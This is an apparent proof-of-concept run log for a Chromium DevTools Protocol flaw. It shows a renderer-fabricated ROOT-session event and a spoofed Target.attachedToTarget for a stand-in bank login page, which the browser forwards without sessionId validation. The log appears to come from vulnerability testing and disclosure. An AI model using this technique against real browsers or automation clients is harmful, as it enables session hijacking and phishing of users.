[*] launching: /chromium/chromium/src/out/asan/chrome --remote-debugging-pipe --headless=new --no-sandbox --disable-gpu --no-first-run --no-default-browser-check --user-data-dir=/tmp/chrome-poc-profile about:blank
[>] {"id": 1, "method": "Target.createTarget", "params": {"url": "data:text/html,
attacker.exampleattacker-controlled page
"}}
[<] result [ROOT] id=1 {"targetId": "F28AEB05BAC9C5BE84875E2EE5C76353"}
[*] attacker targetId = F28AEB05BAC9C5BE84875E2EE5C76353
[>] {"id": 2, "method": "Target.attachToTarget", "params": {"targetId": "F28AEB05BAC9C5BE84875E2EE5C76353", "flatten": true}}
[<] event [ROOT] Target.attachedToTarget {"sessionId": "95E4805A4D5E41DAB62B351EA265FDF8", "targetInfo": {"targetId": "F28AEB05BAC9C5BE84875E2EE5C76353", "type": "page", "title": "", "url": "data:text/html,attacker.example
[<] result [ROOT] id=2 {"sessionId": "95E4805A4D5E41DAB62B351EA265FDF8"}
[*] child sessionId = 95E4805A4D5E41DAB62B351EA265FDF8
[>] {"id": 3, "method": "Runtime.enable", "params": {}, "sessionId": "95E4805A4D5E41DAB62B351EA265FDF8"}
[<] event [sid=95E4805A..] Runtime.executionContextCreated {"context": {"id": 1, "origin": "://", "name": "", "uniqueId": "-6415032026941710874.595869278996256949", "auxData": {"isDefault": true, "type": "default", "frameId": "F28AEB05BAC9C5BE84875E2EE5C76353
[<] result [sid=95E4805A..] id=3 {}
[<] event [ROOT] __SPOOFED_BY_COMPROMISED_RENDERER__ {"note": "This event was fabricated by renderer process and delivered as a ROOT-session event (no top-level sessionId). The browser process did not validate or rewrite the sessionId.", "actualChildSes
[<] event [ROOT] Target.attachedToTarget {"sessionId": "95E4805A4D5E41DAB62B351EA265FDF8", "targetInfo": {"targetId": "SPOOFED-BY-RENDERER-0000", "type": "page", "title": "Victim Bank - SPOOFED", "url": "https://victim-bank.example/login", "
==============================================================================
[!!!] VULNERABLE
[!!!] The root CDP client received the following ROOT-session
[!!!] events that were fabricated by the renderer process and
[!!!] forwarded by the browser without sessionId validation:
{
"method": "__SPOOFED_BY_COMPROMISED_RENDERER__",
"params": {
"note": "This event was fabricated by renderer process and delivered as a ROOT-session event (no top-level sessionId). The browser process did not validate or rewrite the sessionId.",
"actualChildSessionId": "95E4805A4D5E41DAB62B351EA265FDF8"
}
}
{
"method": "Target.attachedToTarget",
"params": {
"sessionId": "95E4805A4D5E41DAB62B351EA265FDF8",
"targetInfo": {
"targetId": "SPOOFED-BY-RENDERER-0000",
"type": "page",
"title": "Victim Bank - SPOOFED",
"url": "https://victim-bank.example/login",
"attached": true,
"canAccessOpener": false,
"browserContextId": "SPOOFED"
},
"waitingForDebugger": false
}
}
[!!!] A real automation client (Puppeteer/Playwright) would
[!!!] now create a Page object for https://victim-bank.example/
[!!!] whose commands route to the attacker's renderer (sessionId
[!!!] 95E4805A4D5E41DAB62B351EA265FDF8).
==============================================================================
[>] {"id": 4, "method": "Browser.close", "params": {}}